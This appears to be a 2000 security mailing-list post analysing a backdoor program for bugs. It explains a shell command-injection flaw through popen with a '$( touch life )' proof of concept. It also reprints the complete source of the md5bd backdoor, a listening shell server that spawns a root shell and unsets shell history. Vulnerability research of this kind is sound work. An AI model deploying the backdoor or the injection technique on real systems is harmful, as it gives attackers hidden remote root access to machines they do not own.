From: Bluefish [11a@GMX.NET] Sent: Tuesday, August 15, 2000 12:33 AM To: VULN-DEV@SECURITYFOCUS.COM Subject: Playing around with a buggy source code Hi there... I'm analysing a backdoor I got my hands on. I've already identified one serious bug in the backdoor which, under certain conditions opens a hole in the backdoor itself... Dunno if the developer intentionally backdoored his own program, or if script-kiddies really are conserned about backdoors in their backdoors.. Anyway, I'm reviewing the code to get some real training in bugtraqing (too much theoretical in school, and most of my knowledge is based upon reading others findings.) So basicly I picked out something which looked a bit uggly coded and looked for bugs. The bug I've verified so far assumes /bin/sh to be a symlink to /bin/bash, because it's bad use of popen. The code replaces |;&>'\r\n with \0, but it allows $[](), so one can send $(command) which eventually will end up in /bin/bash -c "/bin/echo -n $(command)|/usr/bin/md5sum" if you use redhat or distro where sh is the same as bash. But I'm wondering about some other things in the code which looks uggly :) I would be interested in opinions on those parts as well, and if missed any bug I'd be interested in hearing about them! The source includes the line recv(d, p, 1000, 0), however I cannot find any null termination of p. If I'm reading man recv correctly, it does not null terminate? (well, it kind of does, if it hits any of the blacklisted characters) So if I send 1000 'A', p will be all 'A's and no \0 anywhere to be seen? This p will later end up in a snprintf which looks like this: snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain); which if I count correctly allows an attacker to cut away "5sum" from the end (additionally, wasn't it some OS [solaris?] which doesn't null terminate snprintf on overflows?) This uggly use of p and the later snprintf could possibly result coredumps which would be uggly. However you cannot very easily exploit the buffert overflow in it because the buffer is a static buffer, not on the stack. Bellow is the little test of a proof-of-concept code which basicly is the backdoor with all the network code removed. If your /bin/sh doesn't interpret $(command) it won't be possible to reproduce the exploit on your system. [bluefish@blue bluefish]$ gcc -o funkychicken test.c [bluefish@blue bluefish]$ rm life ; ./funkychicken ; ls -l life -rw-r--r-- 1 bluefish users 0 Aug 15 05:30 life [bluefish@blue bluefish]$ cat test.c #define SPLOIT "$( touch life )" #include #include #include #include char md[36]; char * mdpass(char *plain) { FILE *p; char fmt[1024]; snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain); p = popen(fmt, "r"); memset(md, 0, 36); fread(md, 32, 1, p); fclose(p); return md; } main(){ int f; char p[1000]; sprintf(p,"%s",SPLOIT); { { for (f = 0; f < strlen(p); f++) switch (p[f]) { case '|': case ';': case '&': case '>': case '`': case '\r': case '\n': p[f] = '\0'; break; } mdpass(p); } } } The backdoor itself is: /* md5bd.c - backdoor/shell server with md5 based authentication (c) 2000 by Mixter http://1337.tsx.org This is a small server program that can be put on an untrusted host, without the danger of the hard-coded password being retrieved. Another big advantage of using md5 is that your password can be effectively as long as you want... I'm using md5sum since every system should have it, and since it's a stupid program and not worth of putting in md5 functions. To hash your password to md5, just: echo -n mypasswd | md5sum (duh!) Usage: ./md5bd, then ./nc host port, then enter your password */ #include #include #include #include #include #include #include /* change this to 1337 if you want it to be *really* stealthy ;/ */ #define P0RT 1025 /* the default pass, "secret" */ #define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69" /* the stupidity of perl, realized in C... */ #define MDPROG "/bin/echo -n %s|/usr/bin/md5sum" char md[36]; char * mdpass(char *plain) { FILE *p; char fmt[1024]; snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain); p = popen(fmt, "r"); memset(md, 0, 36); fread(md, 32, 1, p); fclose(p); return md; } int main(int a, char **b) { int c, d, e = sizeof(struct sockaddr_in), f; char p[1000]; struct sockaddr_in l, r; signal(SIGCHLD, SIG_IGN); signal(SIGHUP, SIG_IGN); signal(SIGTERM, SIG_IGN); signal(SIGINT, SIG_IGN); if (fork()) exit(0); l.sin_family = AF_INET; l.sin_port = htons(P0RT); l.sin_addr.s_addr = INADDR_ANY; bzero(&(l.sin_zero), 8); c = socket(AF_INET, SOCK_STREAM, 0); bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr)); listen(c, 3); while ((d = accept(c, (struct sockaddr *) &r, &e))) { if (!fork()) { recv(d, p, 1000, 0); #ifndef REMOTELY_EXPLOITABLE for (f = 0; f < strlen(p); f++) switch (p[f]) { case '|': case ';': case '&': case '>': case '`': case '\r': case '\n': p[f] = '\0'; break; } #endif /* REMOTELY_EXPLOITABLE :P */ if (strncmp(mdpass(p), MDPASS,32) != 0) { send(d, "\377\373\001", 4, 0); close(d); exit(1); } printf ("hi.\n"); close(0); close(1); close(2); dup2(d, 0); dup2(d, 1); dup2(d, 2); setreuid(0, 0); setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1); unsetenv("HISTFILE"); execl("/bin/sh", "sh", (char *) 0); close(d); exit(0); } } return 0; } ..:::::::::::::::::::::::::::::::::::::::::::::::::.. http://www.11a.nu || http://bluefish.11a.nu eleventh alliance development & security team